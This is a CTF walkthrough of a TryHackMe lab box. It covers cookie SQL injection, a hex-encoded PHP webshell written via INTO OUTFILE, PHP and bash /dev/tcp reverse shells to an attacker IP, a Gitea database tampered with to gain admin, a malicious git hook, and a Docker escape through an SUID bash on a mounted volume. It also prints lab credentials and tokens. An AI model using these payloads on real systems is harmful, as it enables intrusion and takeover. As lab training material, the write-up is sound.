This is the hard box on TryHackMe website. It requires the some knowledge about docker and webapp pentest. Let’s start
For beginning I put the ip in /etc/hosts
for convinient
10.10.125.102 dog.thm
Enumeration
Port Scanning
I will start with a simple nmap to find out which service is running on this host.
nmap -p- -v dog.thm
...
Discovered open port 80/tcp on 10.10.42.196
Discovered open port 22/tcp on 10.10.42.196
...
Base on the result, we know that there is 2 services is running on this port. As my guess there is a SSH and a webserver, but a will scan more deeper to confirm
nmap -A -p 80,22 dog.thm
...
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 e4:c9:dd:9b:db:95:9e:fd:19:a9:a6:0d:4c:43:9f:fa (RSA)
| 256 c3:fc:10:d8:78:47:7e:fb:89:cf:81:8b:6e:f1:0a:fd (ECDSA)
|_ 256 27:68:ff:ef:c0:68:e2:49:75:59:34:f2:bd:f0:c9:20 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Canis Queue
Exactly like my guess, we can see there is a webserver and SSH server is running on this host. I will start to enumeration this server
Webserver on port 80
As a first glance, the page show which number we are in the queue. I will go for directories brute forcet to see whether any hidden directories here.
gobuster dir -u http://dog.thm -w /usr/share/wordlists/dirb/common.txt -t 20 -x php,txt
The result don’t give us anything news so I get back to the landing page. I try to reload the page and observer that the our number on the page does not change so it must base on something to hold our number. So I try to clean up our cookies and reload the page and our number was changed.
Analyzing the cookies, it look like a hash so it can not use to decode back to a number. So my guess is this one the ID that stick with our number in the database. So I use Burp Sutite
to capture the request and try some SQLi
on the cookies. I try the cookies id=a'
and I got this error.
So this one is vunerable to SQLi
Exploit
SQLi
So I save the packet capture by Burp Suite and try sqlmap
to exploit the database of this server
sqlmap -r cap --schema --level 3
Cause the page is vulnerable in cookie so I go with flag --level
large than 2. With this we can see there is 2 schema on this server and the database is MySQL
. I will going with the schema webapp
sqlmap -r cap -D webapp --tables --level 3
We found there is a table queue
inside that schema, I will start to –dump the table
sqlmap -r cap -D webapp -T queue --dump --level 3
But it give us nothing except the number and the ID of its. No credentials and something juice
SQLi to RCE
I start to search on the internet to find out where we can levagage SQLi to spawn a reverse shell to our local machine. I and found this article. According to it, we can use sqlmap
with flag --os-shell
to use SQLi to upload write some PHP code into a file on server. Let’s try this one:
sqlmap -r cap -D webapp --os-shell
But it not working with me so try to exploit it manually. Cause we know this server is running PHP, so I try to inject some PHP code to page with this payload a' a' union select null, '<?php system($_GET["cmd"]); ?>' --
and I got this result.
We got block by a filter. So I try to bypass by converting it to decimal and using the char ()
function but it still blocked. Finally, try to convert the string into hex and try again with this payload
a' union select null, 0x3c3f7068702073797374656d28245f4745545b22636d64225d293b203f3e --
And we success to inject to code, now we can use the param cmd
to run our command. But after i few try, I firuge out this not work because when I look closers into HTMl on the brower I see this.
Our code was comment out so I need to use another way. We can guess the root folder for the webserver is in /var/www/html
so I will try to write our PHP code to the file on this folder. The payload will look like this:
a' union select null, 0x3c3f7068702073797374656d28245f4745545b22636d64225d293b203f3e into outfile '/var/www/html/rce.php'--
And the access to /rce.php?cmd=id
you can see we success to upload our file.
Now i will make a reverse shell back to my machine with payload
cmd=php -r '$sock=fsockopen("10.17.7.60",7777);exec("/bin/sh -i <&3 >&3 2>&3");'
And now we got the reverse shell
Escalting to dylan
First thing I do when got the reverse shell is find which sudo right we can use on this machine
$ python3 -c "import pty; pty.spawn('/bin/bash')"
www-data@year-of-the-dog:/var/www/html$ sudo -l
sudo -l
[sudo] password for www-data:
Sadly we don’t have the password so we cannot know what sudo right we can do so I start to look around in the machine. And in the /home
folder we see there is another user name dylan and we can access to this user folder. Inside dylan
home directory, you can see a file called work_analysis
and after looking it you can see it look like a log for the ssh server. The log file is always juicy for hacker, I try look for some credentials on the file and I found this
www-data@year-of-the-dog:/home/dylan$ cat work_analysis | grep dylan
cat work_analysis | grep dylan
Sep 5 20:52:57 staging-server sshd[39218]: Invalid user dylanLabr4d0rs4L1f3 from 192.168.1.142 port 45624
Sep 5 20:53:03 staging-server sshd[39218]: Failed password for invalid user dylanLabr4d0rs4L1f3 from 192.168.1.142 port 45624 ssh2
Sep 5 20:53:04 staging-server sshd[39218]: Connection closed by invalid user dylan[PASSWORD HERE] 192.168.1.142 port 45624 [preauth]
Look like dylan has some mistake when typing the password with the username. So now we got the password for SSH account of dylan and we can log in as dylan via SSH.
Go inside docker
I countinue to check sudo right of dylan
dylan@year-of-the-dog:~$ sudo -l
[sudo] password for dylan:
Sorry, user dylan may not run sudo on year-of-the-dog.
But still not any thing here. So try some more basic enum like finding SUID file, Linux capbilities, … And I foudn something when looking at which port is listening on the server
dylan@year-of-the-dog:~$ ss -tulw
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port
icmp6 UNCONN 0 0 *%eth0:ipv6-icmp *:*
udp UNCONN 0 0 127.0.0.53%lo:domain 0.0.0.0:*
udp UNCONN 0 0 10.10.43.125%eth0:bootpc 0.0.0.0:*
tcp LISTEN 0 128 127.0.0.53%lo:domain 0.0.0.0:*
tcp LISTEN 0 128 0.0.0.0:ssh 0.0.0.0:*
tcp LISTEN 0 128 127.0.0.1:3000 0.0.0.0:*
tcp LISTEN 0 128 127.0.0.1:46433 0.0.0.0:*
tcp LISTEN 0 80 127.0.0.1:mysql 0.0.0.0:*
tcp LISTEN 0 128 *:http *:*
tcp LISTEN 0 128 [::]:ssh [::]:*
You can see here, there is 2 more port is 3000
and 46433
that is not visible with public. So I will use SSH port forwarding to redirect these port to my local machine
### Port 46433
ssh -L localhost:46433:127.0.0.1:46433 dylan@dogyear.thm
It look like the webserver but when I try to connect, it always return 404 page not found
so I move on the port 3000
Port 3000
ssh -L localhost:3000:127.0.0.1:3000 dylan@dogyear.thm
This one look more promising. There is a gitea
server is running on this machine. And there is also a folder /gitea
in the machine, and inside it you can file the config file of its is app.ini
dylan@year-of-the-dog:/gitea/gitea/conf$ cat app.ini
APP_NAME = Year of the Dog
RUN_MODE = prod
RUN_USER = git
[repository]
ROOT = /data/git/repositories
[repository.local]
LOCAL_COPY_PATH = /data/gitea/tmp/local-repo
[repository.upload]
TEMP_PATH = /data/gitea/uploads
[server]
APP_DATA_PATH = /data/gitea
DOMAIN = localhost
SSH_DOMAIN = localhost
HTTP_PORT = 3000
ROOT_URL = http://localhost:3000/
DISABLE_SSH = false
SSH_PORT = 22
SSH_LISTEN_PORT = 22
LFS_START_SERVER = true
LFS_CONTENT_PATH = /data/git/lfs
LFS_JWT_SECRET = 4v0-5OJcdl6CYzD42Zm2oUmFFa6tW2rpeQlKPPyEk6I
OFFLINE_MODE = false
[database]
PATH = /data/gitea/gitea.db
DB_TYPE = sqlite3
HOST = localhost:3306
NAME = gitea
USER = root
PASSWD =
SCHEMA =
SSL_MODE = disable
CHARSET = utf8
[indexer]
ISSUE_INDEXER_PATH = /data/gitea/indexers/issues.bleve
[session]
PROVIDER_CONFIG = /data/gitea/sessions
PROVIDER = file
[picture]
AVATAR_UPLOAD_PATH = /data/gitea/avatars
REPOSITORY_AVATAR_UPLOAD_PATH = /data/gitea/repo-avatars
DISABLE_GRAVATAR = false
ENABLE_FEDERATED_AVATAR = true
[attachment]
PATH = /data/gitea/attachments
[log]
ROOT_PATH = /data/gitea/log
MODE = file
LEVEL = info
[security]
INSTALL_LOCK = true
SECRET_KEY = XZ8WdgzCGB34L7EkQkgIjuPkR36TtktZjHU6YuZjZk5qUZ2spsOqnYtJQMHOX9EL
INTERNAL_TOKEN = eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYmYiOjE1OTkzMzA1ODV9.uDei0Zf0O3p9sqKVxtudzATRMvb9Udp4VQtxHYa0pao
[service]
DISABLE_REGISTRATION = false
REQUIRE_SIGNIN_VIEW = false
REGISTER_EMAIL_CONFIRM = false
ENABLE_NOTIFY_MAIL = false
ALLOW_ONLY_EXTERNAL_REGISTRATION = false
ENABLE_CAPTCHA = false
DEFAULT_KEEP_EMAIL_PRIVATE = false
DEFAULT_ALLOW_CREATE_ORGANIZATION = true
DEFAULT_ENABLE_TIMETRACKING = true
NO_REPLY_ADDRESS = noreply.localhost
[oauth2]
JWT_SECRET = 3cyHov-RUpA5PTC7Nnkf192mS3HhporDr1S980jBKWM
[mailer]
ENABLED = false
[openid]
ENABLE_OPENID_SIGNIN = true
ENABLE_OPENID_SIGNUP = true
This file give us a lot of juicy information. After reading it we know the user running this server is git
. But when I read /etc/passwd
I don’t see any user like that, so this must be running inside some container like docker so we can try go inside that docker to find somthing fun.
I found this article talk about the CVE lead to RCE with gitea version less than 1.13.0 (but our gitea is still in dev so I think it is still vulnerable to this CVE). Base on this we can execute command inside the Git Hook
tab. So now I create new user and try to create new repo to use the Git Hook to RCE.
Sadly, our user is disable to use Git Hook so we cannot see the Git Hook tab here and we go into the dead end here. Now I remember there is a file called gitea.db
inside /gitea
folder. So I try to read it.
dylan@year-of-the-dog:/gitea$ sqlite3 gitea/gitea.db
Command 'sqlite3' not found, but can be installed with:
apt install sqlite3
Please ask your administrator.
But we cannot use sqlite here so I download it my kali and read it. We found the table user
is interesting. From here we can see the password of admin user is dylan
sqlite> select lower_name, passwd, is_admin from user;
dylan|f2fd45caa2f5eae17cb5faa06eb57c4ad05532550fe37ae99e2245429757af09350be12abba616de4e8f0e37d223bd327261|1
test|8e191b89e5c642ae5bd02e5fd5cf95c2e67d64bf19bdc5302c008d93242dfc6fa37114c151af51b8f84c08c6f8765ec56983|0
But with this password cracking it is not a good idea, But instead, I came up with the idea that we can update our new user (which is test
for me) to be admin. And we can upload the file back to the machine cause the file is own by dylan
so we can overwrite it.
sqlite> update table user set is_admin = 1;
Error: near "table": syntax error
sqlite> update user set is_admin=1;
sqlite> select lower_name, is_admin from user;
dylan|1
test|1
After update the file I make a python server server to upload file back to the server and overwrite to previous file.
# kali
root@kali:/tmp# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.43.125 - - [04/Aug/2021 03:46:49] "GET /gitea.db HTTP/1.1" 200 -
# server
dylan@year-of-the-dog:/gitea/gitea$ wget http://10.17.7.60/gitea.db
--2021-08-04 08:46:49-- http://10.17.7.60/gitea.db
Connecting to 10.17.7.60:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1212416 (1.2M) [application/octet-stream]
Saving to: ‘gitea.db.1’
gitea.db.1 100%[===============================>] 1.16M 201KB/s in 6.3s
2021-08-04 08:46:56 (188 KB/s) - ‘gitea.db.1’ saved [1212416/1212416]
dylan@year-of-the-dog:/gitea/gitea$ mv gitea.db.1 gitea.db
And now reload the website. We can now access to admin dashboard. Now I look at dylan repo and found now we can use the Git hook
feauture. So I follow the article we have seen before and try to modify Post Receive Hook
with a reverse shell code with the code
bash -i >& /dev/tcp/10.0.0.1/4242 0>&1
The git hook code will work after we make new commit to this repo so I make a new commit with README.md
and we got the reverse shell
To root of docker
I check the sudo right for our git user and see (ALL) NOPASSWD: ALL
so we can run everything
sudo bash -p
whoami
root
Now we are root inside docker
Escape out of docker
Most of the box I have played about docker, a lot of them use mount
for monting the root folder on the machine to the image inside the docker container. So i will start by enumeration which is mounting to this machine
mount -l
...
/dev/xvda1 on /data type ext4 (rw,relatime,data=ordered)
...
Notice that there is 1 folder on the real machien to mount to the path /data
. When I access it, we can see this is the folder /gitea
on the real machine.
# inside docker
cp /bin/bash /data
chmod +s /bin/bash
# on dylan account
dylan@year-of-the-dog:/gitea/gitea$ ./bash -p
But it not run so I check release of 2 machine and realize the docker is running alpine
and the server is running Ubuntu
. So I upload the bash on the ubuntu to the contianer.
# on dylan machine
dylan@year-of-the-dog:/bin$ python3 -m http.server
# on container
wget 172.17.0.1:8000/bash -O /data/bash
chmod +s /data/bash
By using this we can use the root of container to give the suid the bash
(cause it has the uid is 0).
dylan@year-of-the-dog:/gitea/gitea$ ./bash -p
root@year-of-the-dog:/gitea/gitea$ cd /root
root@year-of-the-dog:/root$ cat root.txt
THM{xxxxxxxxxxxxxxxxxxxxx}
And now we are root